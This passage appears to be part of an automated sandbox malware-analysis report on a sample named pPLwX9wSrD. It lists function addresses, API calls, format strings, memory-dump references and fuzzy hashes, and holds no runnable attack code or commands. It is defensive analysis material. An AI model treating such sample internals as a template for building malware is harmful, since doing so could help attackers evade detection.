                                                                                                                            • #75.ODBC32(00000000,000000C8,00000003,000000FA,00000001,00000000,?), ref: 004701FB
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 1a6a064c5f9756ab6b51bf54cae33ac13515d3e5302dde588ae0f0648a3610c8
                                                                                                                            • Instruction ID: 78966e7aa9fb8c42e9967553beac08d73642723ecf95e4c9e47d9c9b740e6be1
                                                                                                                            • Opcode Fuzzy Hash: 1a6a064c5f9756ab6b51bf54cae33ac13515d3e5302dde588ae0f0648a3610c8
                                                                                                                            • Instruction Fuzzy Hash: CF410F74A0520ADFDB44CF94C984BFFB7B1BF08304F20865AE419A7382D7749A41CB99
                                                                                                                            Function 0045E5E0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 98COMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wsprintf
                                                                                                                            • String ID: %08x$%08x:$%s
                                                                                                                            • API String ID: 2111968516-2835590159
                                                                                                                            • Opcode ID: 1b6cc161325da4aa121a3fb086e8e267d7ee0f25cb21da504d9144f82a1865a2
                                                                                                                            • Instruction ID: 26fea907ec5affd95d79a7a9a21d20c4fc7697e36fb20aa9c6bd0a665dec353a
                                                                                                                            • Opcode Fuzzy Hash: 1b6cc161325da4aa121a3fb086e8e267d7ee0f25cb21da504d9144f82a1865a2
                                                                                                                            • Instruction Fuzzy Hash: 184161B1900248EFCF04CF59DC91AAEB7B5FB44314F14862EE9259B392D738A905CB98
                                                                                                                            Function 004490CD Relevance: 7.6, APIs: 5, Instructions: 79COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044910E
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044913E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044916E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044919E
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 004491CE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: a7a650891ccdcced9ce561dcea5d34310a17bcbe137de3958b21c77c3a87d662
                                                                                                                            • Instruction ID: 7ceb4fc6f78f180f3c0eae3141ba13dc8f720c095a6b013c8823f0d2a82b9384
                                                                                                                            • Opcode Fuzzy Hash: a7a650891ccdcced9ce561dcea5d34310a17bcbe137de3958b21c77c3a87d662
                                                                                                                            • Instruction Fuzzy Hash: 4031CCB5A00118ABDB24DB09CD51FEA7379EB44718F1082CAFE187B3C5D671AD908F94
                                                                                                                            Function 0044B2CE Relevance: 7.6, APIs: 5, Instructions: 79COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000), ref: 0044B30F
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000015,00000000,?,00000000,000000FA,?,00000000,00000000), ref: 0044B33F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000015,00000000,?,00000000,000000FA,?), ref: 0044B36F
                                                                                                                            • #4.ODBC32(?,00000000,00000001,?,00000012,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?), ref: 0044B39F
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,00000001,?,00000012,00000000,?,00000000,000000F0,?), ref: 0044B3CF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: a32ef0b2109c936e0f3857cbd148bb70f11e9f72926e263d3bda13afc71e473a
                                                                                                                            • Instruction ID: a9d8d12a1994ff6622c912437bb8a9bbb6a89885c7f5070588eb74acc65b2a3b
                                                                                                                            • Opcode Fuzzy Hash: a32ef0b2109c936e0f3857cbd148bb70f11e9f72926e263d3bda13afc71e473a
                                                                                                                            • Instruction Fuzzy Hash: FF312F70A84518ABEF64CB29CC59FAA7335EF44708F1082C8F65C6B391DA716D808F54
                                                                                                                            Function 0044C9EC Relevance: 7.6, APIs: 5, Instructions: 79COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000), ref: 0044CA2D
                                                                                                                            • #4.ODBC32(?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000), ref: 0044CA5D
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044CA8D
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000FA,?), ref: 0044CABD
                                                                                                                            • #4.ODBC32(?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?,00000000,00000000,?,00000000,000000F0,?), ref: 0044CAED
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID:
                                                                                                                            • API String ID:
                                                                                                                            • Opcode ID: 3a4d30faa7e26e41d8eef0697ed4698cfd5f863b49317452a5468ce040cc4023
                                                                                                                            • Instruction ID: b6f1ba5df7fa8915a9aaccaf1ace3dfc0bd6a1c2db1494cee34997639e95795a
                                                                                                                            • Opcode Fuzzy Hash: 3a4d30faa7e26e41d8eef0697ed4698cfd5f863b49317452a5468ce040cc4023
                                                                                                                            • Instruction Fuzzy Hash: 10314FB0980158ABDB60CB48CC45FAE7339EB40718F2083C8F65C6A3D2DA31AD808F5C
                                                                                                                            Function 00464020 Relevance: 7.6, APIs: 5, Instructions: 76synchronizationCOMMONLIBRARYCODE
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • SetEvent.KERNEL32(?,?,?,?,0046D11C), ref: 00464072
                                                                                                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0046D11C), ref: 00464081
                                                                                                                            • SetEvent.KERNEL32(?,?,?,?,0046D11C), ref: 004640B8
                                                                                                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,0046D11C), ref: 004640C7
                                                                                                                            • SetEvent.KERNEL32(?,?,?,?,0046D11C), ref: 004640F9
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Event$ObjectSingleWait
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2127046782-0
                                                                                                                            • Opcode ID: 2ae32b62f4d60bd5409284580fa53ea32f39c16753c541f8d92a6025b2675fdb
                                                                                                                            • Instruction ID: c024f50ed836af1c88e3d2764ee8787f13783799da0bd281812773494eb751e8
                                                                                                                            • Opcode Fuzzy Hash: 2ae32b62f4d60bd5409284580fa53ea32f39c16753c541f8d92a6025b2675fdb
                                                                                                                            • Instruction Fuzzy Hash: BF2162352442124BDE256B7DA850A6AA3E49FC6378730072EB6B5C32D5EE1CD84347AB
                                                                                                                            Function 00455735 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Current$ProcessThread
                                                                                                                            • String ID: %s %d %s$Params: %08x %08x %08x %08x
                                                                                                                            • API String ID: 2063062207-3042731909
